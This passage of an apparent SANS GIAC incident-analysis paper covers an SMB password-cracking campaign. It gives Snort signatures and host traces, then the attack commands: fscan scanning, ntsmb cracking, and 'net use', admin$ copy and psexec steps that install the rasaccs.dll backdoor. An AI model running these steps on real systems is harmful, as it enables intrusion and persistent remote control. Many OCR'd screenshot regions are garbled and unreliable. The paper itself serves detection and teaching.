Figure 26. Rasaccs.dll Installation (Ethereal)
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e Remote access attempt of the \SAMR named pipe (SIGID 1000002,
1000003)

These two signatures are intended to detect remote access to the Windows
Security Account Manager database.

alert tcpo SEXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-
DS \SAMR access attempt”; flow:to_server,established; content:"|00|";
depth:1; content:"|FF|SMB|A2|"; offset:4; depth:5; content:"|5C 00 73 00 61

00 6D 00 72 00|"; nocase:; classtype:protocol-command-decode; sid:1000003;
rev:1;)

alert tcp SEXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB
\SAMR access attempt"; flow:to_server,established; content:"|00|"; depth:1;

content:"|FF|ISMB|A2|"; offset:4; depth:5; content:"|5C 00 73 00 61 00 6D 00
72 00|"; nocase:; classtype:protocol-command-decode; sid:1000004; rev:1; )

These signatures look for established SMB traffic on TCP 139 or 445 that
contain SMB NT Create AndX command (0xA2) and the \samr string
(represented as ‘5C 00 73 00 61 00 6D 00 72 00’). Both of these
characteristics are circled in red in the packet below.

I» Transmission Control Protocol, Src Port: 1073 (1073), Dst Port: microsoft-ds (445), Seq: 3001722029, Ack: 3110349709, Len: 100
> MetBIOS Session Serwice
[~ SMB (Serwver Message Block Protocol)
—~ SMB Header
Server Component: SMB
Response in: 16
SMB Command: NT Create Andx
NT Status: STATUS_SUCCESS (0x00000000)
Flags: 0x18
Flags2: 0Oxc807
Process ID High: 0
Signature: 0000000000000000
Reserved: 0000
Tree ID: 2048
Process ID: 1224
User ID: 2048
Multiplex ID: 256
= NT Create AndX Reguest (Oxa2)
word Count (WCT): 24
AndxCommand: No further commands (0xff)
Reserved: 00
Andxoffset: 57054
Reserved: 00
File MName Len: 10
I Create Flags: Ox00000016
Root FID: 0x00000000
I Access Mask: 0x0002019F
Allocation Size: 0
I File Attributes: 0x00000000
> Share Access: 0x00000003
Disposition: Open (if file exists open it, else fail) (1)
> Create Options: 0x00000040
Impersonation: Impersonation (2)
> Security Flags: O0x03
Byte Count (BCC): 13

File Name: “samr

0000 00 Oc 29 bd 24 06 00 Oc 25 &b 3d 30 08 00 45 00 ..., Dk=0..E.

0010 00 8c 07 35 40 00 80 06 <ce 74 c0 a8 dl av ...5@ t

0020 dl1 c9 04 31 01 bd b2 ea a4 ad b9 64 2b 8d
0030 8 f3 7f 5e 00 00 00 00 00 60 ff 53 4d 42
0040 00 00 00 18 07 <8 00 00O 00 00 00 00 00 00
0050 00 00 00 08 <& 04 00 03 00 01 18 fFf 00 de
0060 0Qa 00 16 00 00 Q0 00 00 ©QO0 00 9f 01 02 00
0070 00 00 OO0 00 00 OO 00 0O 00 00 03 00 00 00
0080 00 00 40 00 00 00 02 00 00 03 Od 00 00
W73 00 61 00 6d 00 72 00 00 OO

v v

Figure 27 . Remote \samr access (Ethereal)
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2.6.2 Host-based Detection

There are two categories of detection at the host level in this attack. The first
category affects all the target systems, which are not necessarily the actual
victims; the second one applies only to the actual victims.

A machine is considered a target machine if:

1. Scanned for open TCP port 139 and 445.
2. Attacked with the NTSMB password cracker (both failed or success attempts).

A machine is considered an actual victim only when it has the rasaccs.dll
backdoor installed.

The host-level traces for a target machine might include:

1. Personal firewall logs/ pop-ups when the scanning is in progress on target
machines with personal firewall installed.

2. Non default administrator accounts being locked out when account lockout
policy is set (accounts are locked out after a number of failed attempts).

3. Numerous failed account logon attempts in the security of the Event Viewer
on target machines whose account logon audit it turned on.

Event |

Date: EA5/2004  Source:  Security

Time; 1738 Cateqony:  LogondLogaff
Tupe: Failure Ewvent ID: 523
Izer: HT AUTHORITY.SY'STEM

ol

Computer: TEST1

Logon Process: MtLmSzp
Authentication Packaoe:

Dezcription:
Logon Failure: -
Reazon: UInknown uger name or bad pazsword
Ilzer Marme; adrmir
Dornair: SOUR
Logon Type: 3
hd

Data: %) Bytes € Wiords

Lt

I
(] 4 I Cancel | Spply |

Figure 28. Failed Logon Attempt — Event Viewer
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4. When object access audit is turned on, the security log of the Event Viewer
should also include anonymous access to the Service Account Manager
(SAM) object.

Ewvent |
Drate: ERAEREINE  Source:  Securty -+ |
Timne: 33415 P  Category: Object Access
Type: Fallure Aud  Ewent [D:  BEQ + |
zer: WNT AUTHORITY " ANONYMOUS LOGOM
Computer; TEST-=F
Dezcription:
Object Oper; -
Object Server: Secunty Account Manager
Object Type: Sak_SERVER
Object M ame: S
Handle |D: -
Operation 10 10,321743}
Frocesz |D: EE2

Image File Mame:  C:WwARMDOW S aystemIhlzazs. exne
Frimany Uzer Mame: TEST =P§

Frimary Domain: - WORKGROUP ;I
Data; %) Bytes ) Wiords

] I Cancel | Smply |

Figure 29. SAM Object access attempts — Event Viewer
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Both trace #3 and #4 are also illustrated in the figure below.

i
T

J fction  Wiew |J " -P|| ||§
Tree I Security Log 84 event(s)
@ Event Viewer {Local) Tvpe | Dake | Tirne | Source | Cakegar | A | Lser | Ca.., |
Application Lag é Failure dudit  6/15/2004 S:33:10PM  Security  Account Logon 681 SYSTEM TEST1
Security Log @ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 539 SY¥STEM TEST1
3| System Log é Failure Audit 6152004 S3E10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 539 SY¥STEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 539 SY¥STEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 537 S¥STEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff 529 SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon 631  S¥3ITEM TESTL
@ Failure fudit  6/15/2004 533 10PM Security  LogonfLogoff SYSTEM TEST1
é Failure Audit  &/15/2004 538 10PM Security  Account Logon S¥ITEM TESTL
[2004 0PM v Logon Ff ,
@f’Success Audit 6152004 S35 10PM Security  Privilege Use ANOMYMOUS LOE0N  TESTL
@f’Success Audit 6152004 S13750PM Security  LogonfLogoff AMOMYMOUS LOGON  TESTI

Figure 30 . Multiple Account Logon Attempts — Event Viewer
The host-level traces for an actual victim machine include:

1. Listens on TCP port 1129
2. Has rasaccs.dll in %SystemRoot%\system32 directory
3. The RasAuto registry key is inaccessible
HKEY LOCAL MACHINE\System\CurrentControlSet\Services\RasAuto

A more in-depth discussion on the host-level traces of an actual victim machine
can be found in the Stages of the Attack section of this paper.
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3. The Platforms / Environments

3.1 Victim's Platform

Although the target of this attack included all Windows machines on campus, the
rasaccs.dll backdoor will not install on Windows NT machines. However, the
passwords collected from these machines are used to build a more powerful
dictionary file to be used in subsequent phases of attacks.

3.2 Source network

The source network was a subnet on campus: VIan209 in the network diagram
below. The IP address of the attacker was 7192.168.209.164 and it was a
Windows 2000 Server.

3.3 Target network

The target networks were all subnets on campus, including systems in the same
subnet as the attacker machine.
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3.4 Network Diagram

Both the source and target networks were on campus as illustrated in the
network diagram below. At the border firewall, all the incoming and outgoing
windows networking traffic (TCP and UDP 135-139,445) are dropped unless
specifically stated otherwise.

Internet

Flrewall

Intrusion Core Layer
Detection
System

Dist Router C

192.168.208. 0’4
VLANZ0G 192.168.210.0/24 192.168.213.0/24
VLANZ10 152.168.211.0424 WLANZ13

WVLANZ11

152168 212 /24
WLANZ1Z

152168 §05.0/24
£0s

el

-y

F%
Windows Erver Legend

152.168.209.167

Access Layer

Traffic Inspection

— - Direction of attacks

Figure 31. Network Diagram
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4. Stages of the Attack

The tools/scripts used in this attack are based on the rootkit found on an attacker
machine from one of our recent incidents. Although not all of the tools/scripts are
used in the attack described in this paper, a complete list the tools/scripts is
attached as Appendix A. In addition, the contents of the two main scripts in this
attack, the ‘ipcscanit.bat’ and the ‘install.cmd’ are also enclosed as Appendix B
and C respectively. Both of these scripts are referred quiet often throughout this
section.

4.1 Reconnaissance

Based on the IP ranges text files found on the attacker machine (as part of the
rootkit), the attacker appeared to have done his/her homework on our IP address
ranges. The different IP ranges of our network were probed during the scanning
stage.

Several good sources for obtaining this information are:*°

e www.arin.net — American Registry for Internet Numbers

o www.ripe.net — RIPE NCC (Reseaux IP Europeens Network Coordination
Centre)

e www.apnic.net — Asia Pacific Network Information Centre

e http://whois.educause.net — whois lookup for .EDU domains

4.2 Scanning

1. fscan®' is used to scan different ranges of IP addresses that are obtained
from the reconnaissance phase for machines with open port TCP 139 or TCP
445. As described earlier, these ports are used by the Server Message Block
(SMB) protocol, the protocol for sharing files, printers, etc. on Windows.

2. This scanning stage is scripted in the ‘ipcscanit.bat (Appendix B) and can be
run directly by passing an IP ranges as the input argument. However, the
‘ipcscanit.bat’ is ‘almost’ fully dissected in this paper.

* SANS Track4 Day 2 materials, page 155
*! http://www.pestpatrol.com/pestinfo/f/fscan_1_1 2.asp
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The figure below describes the fscan’s syntax.

FScan [—abhefhgnu?]1 [-cditz <n*]1 [-flo <fileX*] [-pu <n>*[.<n>-<n>11 IPL.IP-IF1]

—?-=h
-a
~h
-
—d
-
=
-i
-1
-n
-0
P
'

shows this help text

append to output file Cused in conjunction with —o option?
get port banners

timeout for connection attemptsz (mzl

delay hetween scans (ms2

resolve IP addresses to hostnames

read IPz from file C(compatihle with output from —od

hind to given local port

port list file — enclose name in guotes if it contains spaces
no port scanning — only pinging <unless you use —qg2

output file — enclose name in guotes if it contains spaces
TCP portis> to scan (a comma separated list of ports ranges)
guiet mode, do not ping host hefore scan

randomize port order

timeout for pingz (msd

UDP portis? to scan (a comma separated list of ports/rangesl
verbose mode

maximum simultaneous threads to uwsze for scanning

: fzcan —hp 88.108-280.443 10.A.4.1-18.8.1.288

Thiz example would scan ports 88, 1688, 181 ... through 280 and 443
on all IP addresses between 18.8.8.1 and 160.8.1.200 inclusive
and grabh the banners from those ports on those hosts.

Figure 32. Fscan syntax

The command used in this attack is demonstrated in the figure below:

C:\UINNTNTemp2fscan —gqp 139,445 -z 138 -0 192.168.209.8-192.168.289.255.tnp 192.168.209.8-192.168.289.255
192.168.209.2 445/tep
192.168.209.164  13%/tcp
192.168.209.164  445/tcp

192.168.2089.197  13%/tcp
192.168.209.197  445/tcp
192.168.209.203  13%/tcp
192.168.209.203  445/tcp

Figure 33. fscan command

fscan -qp 139,445 -z 130 -0 x.x.x.X.tmp X.X.X.X-X.X.X.X

Where:

v' -q: the scan is performed in a quiet mode, without pinging the host first
v’ -p 139, 445: only TCP port 139 and 445 will be tested

v' -z 130: the maximum simultaneous threads to use are 130

v’ -0 x.x.x.x.tmp: the result is stored in a file named based on the scanned

IPs range, e.g. 192.168.209.0-192.168.209.255.tmp
v x.x.x.x-x.x.x.x: the ranges of IP addresses to scan

Below is a sample of the fscan output file.

&% 192.168.209.0-192.168.209.2 — o) =
Fil= Edit Forrmat Help

192 1as. 209, 2 44 5 Top -
1loz2.l108.209.104 139 top
1o2.las3. 209,164 445 Cop
1S2 . 168209157 139 tcp
192 163, 209197 44 5 Top
1o2.108.209.203 139 top
L92. 188 209,203 445 Cop

| o

Figure 34. Fscan output file
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3. The fscan_clean.bat below cleans the fscan output format to include only list
of unique IP addresses. In the actual attack, this clean up process is part of
the ‘ipcscanit.bat’ script.

The fscan_clean.bat.

v" Accept an IP address range as the input argument (this should be an IP
range that has been scanned before using fscan).

v Loop through each line of the fscan output file (e.g. 192.168.209.0-
192.168.209.255.tmp), ‘grep’ only the first column of the line (excepts
when the strings are “Scan” or “Time”) and store the output into [x.x.x.x-
X.X.X.X].txt (e.g. [192.168.209.0-192.168.209.255].tmp).

The content of the fscan_clean.bat is shown in the figure below.

& fscan_clean.bat - Notepad =1

File Edit Format Help
[gecho off

type nuls>[%1].txt
for A "tokens=1" %%a in (¥l.tmp) do call :find %1 %%a
del %1.tmps T g =nul

goto :eof

:find

it "¥2"=="3can" goto :eof
if "%¥2"=="Time" goto :eof

Findstr %2 [%1].txt =nul
i "%errorlevel®"=="1"
echo %2
echo %2> [%1].Txt

Figure 35. fscan_clean.bat

The command used in this attack is demonstrated in the figure below:

CiSWHINNT~Temp*fscan_clean 172.168.282.8-122.168.28%.255
192.168.289.2
192.168.28%.164

192.168.289.197
172.168.28%.2083

Figure 36. fscan_clean command

4. Other free Windows open ports scanners include:
v Nmap — www.insecure.org
v' SuperScan & ScanLine - http://www.foundstone.com

5. This scanning phase can be detected at the network level by the On-Campus
Intrusion Detection System (Snort) that is watching both the inbound and
outbound traffic off of Dist Router C and Dist Router D. The alerts generated
in this phase are triggered by the flow-portscan preprocessor.

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



The figure below illustrates a sample of the scanning traffic generated by
fscan (the scanning tool used in this attack).

The figure below is a sample alert generated by Snort’s flow-portscan
preprocessor.

Figure 38. Flow-Portscan preprocessor alert
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4.3 Exploiting the System

1. ntsmb.exe is used to crack and collect weak passwords. As mentioned
earlier, the original version of the ntsmb.exe is used in this attack.

2. This process is also a part of the ‘jpcscanit.bat’ script.
3. The commands used in this attack are:
copy [*].txt /y res.txt
v' This command combines all cleaned version of the fscan results ([*].txt)
into a file called res.txt
v /y switch is used to force the copy process — without prompting for
confirmation.

ntsmb res.txt

v" This command passes the res.txt to ntsmb.exe and the password cracking
process starts as illustrated in the figure below.

Uia SID

4. ‘ntsmb.txt stores all the successfully /guessed passwords in the format
showed below. Once created, the result of each ‘ntsmb.exe’ process is
appended into this file.
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& ntsmb.txt - Notepad -0 x|
File Edit Format Help

102,168, 209,164 radministrator:secret VIA SID :J
152,168,209, 203 thackup:backup

102,168, 209, 203 radninistrator ipassword
192,168, 209,197 ;admin:password

-

4 Ll
Figure 40. ntsmb.txt

5. Although | can not use the version of the ntsmb.exe found in the actual attack
on campus in this paper, | believe that that version of ntsmb.exe loads an
additional dictionary called ntsmbcombos.dic that contains list of possible
username and password combinations based on the strings dump of the
unpacked version of the ntsmb.exe as shown in Figure 2 .

6. In addition, it appears that all unique cracked passwords are accumulated into
the ntsmb.dic dictionary file and thus, improving the dictionary used in the
next attack. This technique is very effective considering the fact that
administrators of “subnet A” might also be the administrators of “subnet B’
and the possibility that they reuse their passwords are very high.

7. Once an administrator account is cracked, the attacker can also take the
opportunity to dump the sam file (Security Accounts Manager -
% SystemRoot%\system32\config\sam) — “an encrypted file that stores
password password hashes for all local computer accounts” — for further
cracking offline using tools such as LOphtCrack*?, John the Ripper**. Any
successfully cracked password can then be appended to the dictionary files.

Although the last two steps (#6 and #7) are not described in details in this
paper, they can greatly improve the power of any dictionary password
cracking tools.

8. Again, this exploiting phase can be detected at the network level by the On-
Campus Intrusion Detection System (IDS) through the signatures below as
described earlier in the Signatures of the attack section:

v NETBIOS SMB IPC$ share access (SIGID 537°°, 538%°, 2465%°, 2466°")

v NETBIOS SMB C$ share access (SIGID 533%, 2470, 24713, 2472%)

v" Remote access attempt of the \SAMR named pipe (SIGID 1000002,
1000003)

2 hitp://www.atstake.com/products/lc/
4 hitp://www.openwall.com/john/
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The figure below illustrates a sample of SMB traffic (IPC$ share access)
generated by NTSMB.

Figure 41. NTSMB — IPCS$ access

The figure below illustrates some sample Snort alerts triggered by the SMB
traffic above.

mlen:140 DF
] Win: OxFS2ZF

Figure 42 . NTSMB — IPCS access — Snort Alerts
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The figure below demonstrates sample traffic generated by NTSMB while
trying to access the \samr named pipe on the victim machine.

T
-
]

[ I

[
[T

Figure 43 . NTSMB — \samr access

The figure below shows a sample Snort alert generated by the NETBIOS
SMB-DS SAMR access attempt custom signature that is triggered by the
traffic above.

Figure 44. NTSMB — \samr access — Snort Alerts
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9. Another Windows dictionary password cracking tool that utilizes Windows’
null session feature is Ipcscan44, in both the command line and GUI version.

WINNT  system32 CMD.exe

IpcScan vl .68 — Command Line NI Accounts Scanner
by uhhuhy <0ct 12,2802 — Http: /- wmi.cnhonker.com

lze it with your own responsibility?

Loading passwords from IpcPass.dic
IpcScan vl .68 is starting

-168.
-168.
-168.
-168.
.168.

168.

289.
289.
289 .
289.
289.

2089 .

1971:
1971:
1971:
19°71:
1971:

attempting to connect ...

starting ipc scan ...

checking: administrators ...
checking: administratorsadministrator
checking:
checking:
checking:
checking:
checking:
checking:
checking:
checking:
Found HNT
checking:
checking:
checking:
checking:
checking:

administrator/12345 __.
admin/ ...
adminsadmin ...
adminsadmini2 ...
adminsadminl23 ...
admin~12345% ...
account: administrator-12345
guest/, ...
gquest/guest ...
guestsguesti? ...
guest/guestl123 ...
guests12345 ...

Done.scan 1 targets.found 1.

Figure 45. IPCScan

4.4 Keeping Access

administratorsadmninistratorl? ...
administratorsadministratorli23d ...

1. The ‘rasaccs.dIl backdoor is installed on these machines utilizing the
collected admin passwords information. As mentioned in the Symantec
website (backdoor.anyserve.b’’), this backdoor provides an attacker remote
access to an infected machine with the following command options:

Restart or shut down

View a list of running processes

Stop processes

Open an FTP connection

View a log of system information

Collect keystroke log files

Download and execute a file from a specified Internet address

Perform brute-force dictionary attacks on a specified remote host

AN N N N NN

This description seems to be consistent with the strings extracted from the

version of rasaccs.dll (using BinTex

ﬂ5

© SANS Institute 2004,

an excerpt of the extracted strings.

“ hitp://www3.sympatico.ca/gsbarker/IPCSCAN/
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File pos | kem poz | 0] | Text

A 0000871C  1000FFIC Ipasziog

A 00008728 1000FF28 Iftpget

A 000028730 1000FF30 - Unable To Kill Process
A 0000874C  1000FF4C - Process Killed

A 00008780 1000FFEQ Ipkil

A 000087638 1000FFES Izyzinfao

A 00003774 1000FF74 Iplizt

A 0000277C  1000FF7C - Shutdown Atternpt Failed
A 00008732 1000FF33 - Shutting Down

A 000027aC  1000FFAC - Reboot Atternpt Failed
A 000037C8  1000FFCa - Reboaoting

A 000027F1 1000FFF
A 0000851E 1001001E
A 0000852F  1001002F
A 00003247 100710047
A 0000223C  1001003C
A 00002843 10010048

AVAILABLE COMMAMDS

A 00002304 10010004 IREBOOT
A 0000230C  1001010C ISHUTD WM
A 00008312 10010118

A 00008344 10010144 IPLIST

A 00003350 1007107150

A 0000237C 1001 7C IPKILL

A 00008322 10010183 <PID:

A 00008384 100101EB4 ISYSINFO
A 000033c0 100101 C0

A 000023EC 1001MEC IPASSLOG
A 000085F2  100101F3

A 00008224 10010224 IFTPGET

A 00003430 100710230
A 0000855C  1001025C
A 00002268 10010268

<USER:PASSWORDEHOST:PORTAPATHYFILE -

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
A 00a03sED 1007100ED 0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

A 0000gaca  100102C8 Ihelp

A 0000ga00 10010200 SeShutdownPrivilege
A 00008aE4  100102E4 Izhutdovn

A 00008AF0 1001 02F0 Irebioot

A 00008aF8  100102F8 cmid. exe

Figure 46. BinText View — Rasaccs.dll

2. The installation process of this backdoor is automated through the
‘install.cmd’ script. It is hard coded to use the ‘ntsmb.txt’ as the input file.

C:SWINNT~Temp>install.cnd

192 168207 201 tadministrator:secret
Connecting....

PzExec vl.3 — execute processes remotely
Copyright <C» 2881 Mark Russinovich

vy . susinternals .com

— Raszauto
CreateService (Rasauto?» SUCCESS
rundll32 exited on 172.168.209.201 with error code @.

Figure 47. Running install.cmd
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3. The ‘install.cmd’ script performs the following steps on each entry in the
‘ntsmb.txt file (IP address, username and password combination) to install
the backdoor:

v" Connect to the IPC$ share using the collected user name and password
utilizing the ‘net use’ command.

"Syntax

net use [{DeviceName | *}] N\ComputerName\ShareName[\volume]] [{Password | *}]]
[/user:[DomainName\]JUserName] [/user:[DottedDomainName\][UserName] [/user:
[UserName@DottedDomainName] [/savecred] [/smartcard] [{/delete | /persistent:{yes |

nojjj
net use [DeviceName [/home[{Password | *}] [/delete:{yes | no}]]
net use [/persistent:{yes | no}’*®

The “net use” syntax above is obtained directly from:
http://www.microsoft.com/windowsxp/home/using/productdoc/en/default.a
sp?url=/windowsxp/home/using/productdoc/en/net use.asp

The command used in this attack is:

net use \\x.x.x.x\ipc$ /u:”username” password

C:SWINNT~TEMPnet use ~~192.168.287.2081%ipct ~u:"administrator" secret

The command completed successfully.
Figure 48. Net use command

v' To increase the efficiency of this attack, the script performs the error
checks below and moves on to the next entry (IP address, username and
password combination) in the ‘ntsmb.txt.

- The IPC$ connection fails.

- A copy of the ‘rasaccs.dll’ already exists on victim machine.

- Access to the admin$ share fails.

- The victim does not run Windows NT 4.0. Below is the error message
when trying to install this backdoor on a Windows NT machine.

| 0ADER ERROR

] The procedure entry point CreateT oolhelp32Snapzshot could not be
* % located in the dynamic link brary KERKELZZ I

Figure 49. Loader Error

45

http://www.microsoft.com/windowsxp/home/using/productdoc/en/default.asp?url=/windowsxp/home/using
/productdoc/en/net_use.asp
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v' Copy the ‘rasaccs.dll backdoor to the system32 directory of the victim’s
system root directory (C:\WINNT for Windows 2000 or C:\Windows for
Windows XP)

copy rasaccs.dll \\x.x.x.x\admin$\system32\

C:SWINNT-TEMP>copy rasaccs.dll ~~192.168.2089.201“adminS~system32

1 file<s?> copied.
Figure 50 . Copying rasaccs.dll

v Load the rasaccs.dll into the victim’s memory using psexec (a program
that allows remote process execution*®) and rundll32.exe (Microsoft's
“‘Run a DLL as an App” program‘”)

“psexec syntax:
psexec [\\computer[,computer],..] | @file J[-u user [-p psswd]][-s|-e][-i][-c [-|-v]][-d][-w
directory][-<priority>][-a n,n,...] cmd [arguments]

Where:

- computer — direct PsExec to run the application on the computer or computers
specified. If you omit the computer name PsExec runs the application on the local
system and if you enter a computer name of "\*" PsExec runs the applications on all
computers in the current domain.

- @file — directs PsExec to run the command on each computer listed in the text file
specified.

- -u - specifies optional user name for login to remote computer.

- -p — specifies optional password for user name. If you omit this you will be prompted
to enter a hidden password.

- -s—run remote process in the System account.

- -e —loads the specified account's profile.

- -l —run the program so that it interacts with the desktop on the remote system.

- -c — copy the specified program to the remote system for execution. If you omit this
option then the application must be in the system's path on the remote system.

- -f—copy the specified program to the remote system even if the file already exists on
the remote system.

- =v—copy the specified file only if it has a higher version number or is newer on than
the one on the remote system.

- -w - set the working directory of the process (relative to the remote computer).

- -d—don't wait for application to terminate. Only use this option for non-interactive
applications.

- =-priority — specifies -low, -belownormal, -abovenormal, -high or -realtime to run the
process at a different priority.

- -a— separate processors on which the application can run with commas where 1 is
the lowest numbered CPU. For example, to run the application on CPU 2 and CPU 4,
enter: "-a 2,4"

- program — name of the program to execute.

4 http://www.sysinternals.com/ntw2k/freeware/psexec.shtml
47 hitp://www.liutilities.com/products/wintaskspro/processlibrary/rundl132/
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— arguments — arguments to pass (note that file paths must be absolute paths on the
target system)”4

The psexec description above is obtained directly from:
http://www.sysinternals.com/ntw2k/freeware/psexec.shtml

In this case, the relevant command will be:
psexec \\x.x.x.x rundll32 rasaccs.dll,Rundllinstall
v Finally, the script deletes the established IPC$ connection through:
net use \\x.x.x.x /d /y
- /d — delete/disconnect a connection to a shared resource

4. This backdoor does leave some noticeable footprints. Some of the
characteristics of this rasaccs.dll backdoor are slightly different from those
reported on Symantec website'”. Some of the information below is obtained
by using RegShot*® to capture the changes before and after the installation of
the backdoor. A complete RegShot comparison result is attached as
Appendix D.

v" The backdoor is copied as %SystemRoot%\system32\rasaccs.dll and is
run by the svchost.exe. This process listens on TCP port 1129. These
characteristic are consistent with the ones reported by Symantec. The
screen shot below illustrates the list of open ports on an infected system
using netstat.

\WINNT System32 cmd.exe

C:“\WINNT“\system32>netstat —a
Active Connections

Proto Local Address Foreign Address
TCP testl-epmap testl:
TCP testl:microsoft—ds testl:
TGP testl 16825 testl:
TCP testl1:-10826 testl:
TICP testl1:1129 testl:
TCP testl1:3372 testl:
TICP tnethios—s=n testl:
UDP tepmap H

upp microsoft—ds H

upp 1827

UDP tnethios—ns=s

|l -l -l -l =]

UDP tnethios—dgm
UDP tizakmp

C:S\WINNT“\system32>

Figure 51. Netstat — Rasaccs.dll infected machine

*® SANS Reverse Engineering materials, Supplemental CD
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v It changes the ownership of the RasAuto registry key so it is inaccessible
by anyone other than the ‘rasaccs.dll backdoor process. This
characteristic is actually also a good way to hide the backdoor as
discussed in the Covering Tracks section below.

HKEY LOCAL _MACHINE\System\CurrentControlSet\Services\RasAuto

v It causes the Remote Access Auto Connection Manager Service to start
automatically by changing the value of the registry key below from 0x3
(manual) to Ox2(automatic).

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\
Start

Notice that the value of the RasAuto\Start registry key is 0x2 (automatic)
in the figure below.

% Registry Editor .= 5'
Registry Edit Tree View Security Options Window Help
" HKEY_LOCAL_MACHINE on Local Machine =101 x|

« | |Description : REG_SZ : Creates a connection to a remote network whenewver a program references aremate DNS or NetBIOS nan
Displayhlame : REG_SZ : Remate Access Auto Connection Manager
ErrorControl - REG_DWORD - 0x1
ImagePath : REG_EXPAND_S7 : CAWINNT\System32\swchost exe -k netsves
ObjectName  REG_SZ : LocalSystem
Start: REG_DWORD : 0x2
Type: REG_DWORD : 0x20

Figure 52. RasAuto Registry Key

The startup type of the Remote Access Auto Connection Manager Service
becomes automatic in the figure below.

¥ Services =Elx
| adion vew || & o[BI ERBIR [ n 1w |
Tree I Narne  / | Description | Stakus | Skartup Type | Log On As | ﬂ

Services (Local) %Messenger Sends and receives messages..,  Started  Automatic LocalSystem

%Net Logon Supparts pass-through authe,.. Manual Localystem

%Netl‘vleeting Renate Desktop Sharing Bllaws authorized people b re .. Manual Localystemn

%Network Conneckions Manages objects in the Metwo,., Started  Manual LocalSystem

% hetwork DOE Provides network transport a. .. Manual LocalSystem

%Network DDE DSDM Manages shared dynamic dat. ., Manual Localsystem

%NT LM Security Support Provider Prowides security to remote pr... Manual LocalSystem

%Performance Logs and Alerts Configures perfarmance logs ... Manual LocalSystem

%P\ug and Play Manages device installation a...  Started  Automatic LocalSystem

%Print Spooler Loads files bomemary Far late,.,  Started  Automatic Localystem

%Protected Storage Provides protected storage fo,,  Started  Automatic Localystem

%QUS RyP Prowides network signafing an... Manual LocalSystem

2 Nemate ficcess Auto Connection Manager Creates aconnection to arem,.,  Started Aukomatic LocalSystem

Figure 53. Remote Access Auto Connection Manager Service
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It should be noted that this RasAuto registry key can only be viewed after
deleting the rasaccs.dll backdoor via the Windows Recovery Console and
modifying the ownership and permission of the RasAuto registry key.

v It modifies the value of the registry key below from
"%SystemRoot%\System32\rasauto.dll" to
"%SystemRoot%\System32\rasaccs.dll"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\
Parameters\ ServiceDIl

The screen shot below is taken by running the Registry Monitor*® on the
victim machine while the attack is in progress. This figure clearly shows
that the rasaccs.dll is hooked into the RasAuto (Parameters\SeviceDlIl)
registry key.

|| Registry Monitor - Sysinternals: www.sysinternals.com

Fie Edt Options Help

B RBET 99 A4

] |Time |Pmcess ‘Hequest |Palh ‘Hesu\l |Dthe|

6D MG 0 cericesene 28 Seabe  HLMASstemCnenContobelSemices\Pasautn Tope SUCCESS Dk

T BIMEEY O servcesene B Sebahe  HKLMAGstemConenConobel SenicestPasautnStat SUCCESS D

65 0446500 D semivecee 28 Sebidie  HCLNSystem CunentConolSet Semices Rasauto\EnorContl SUCCESS O

66 M 0 servcesene B el HRLMNGysten!CurenConnolSetSenices RasauioImagePah SUCCESS " SWINNTASystem 3 Phevehost e & netoves™

T BRMERIET 0 corviceens B SelMehe  HKLMSpstemComreniConolSe SenicestRasautoDisplghlame SUCCESS  "Remote Acoass Auto Connection Manager”

768 34466007 D semivecee 28 Createey  HCLOISstem CuneniConnolSet\SemicasRasa.to\eculy SUCCESS  few DWETBAEFED

T BRMERET 0 cervicenene 2B SeMale  HKLMSstemComeniConolSel SenicestRasauioSecuiySecurly SUCCESS  D100748040000000...

70 40678 D semivecee 28 Closeey ML ystem CuneniContolSet\Semices\Rasato\eculy SUCCESS  Key WETR4EFED

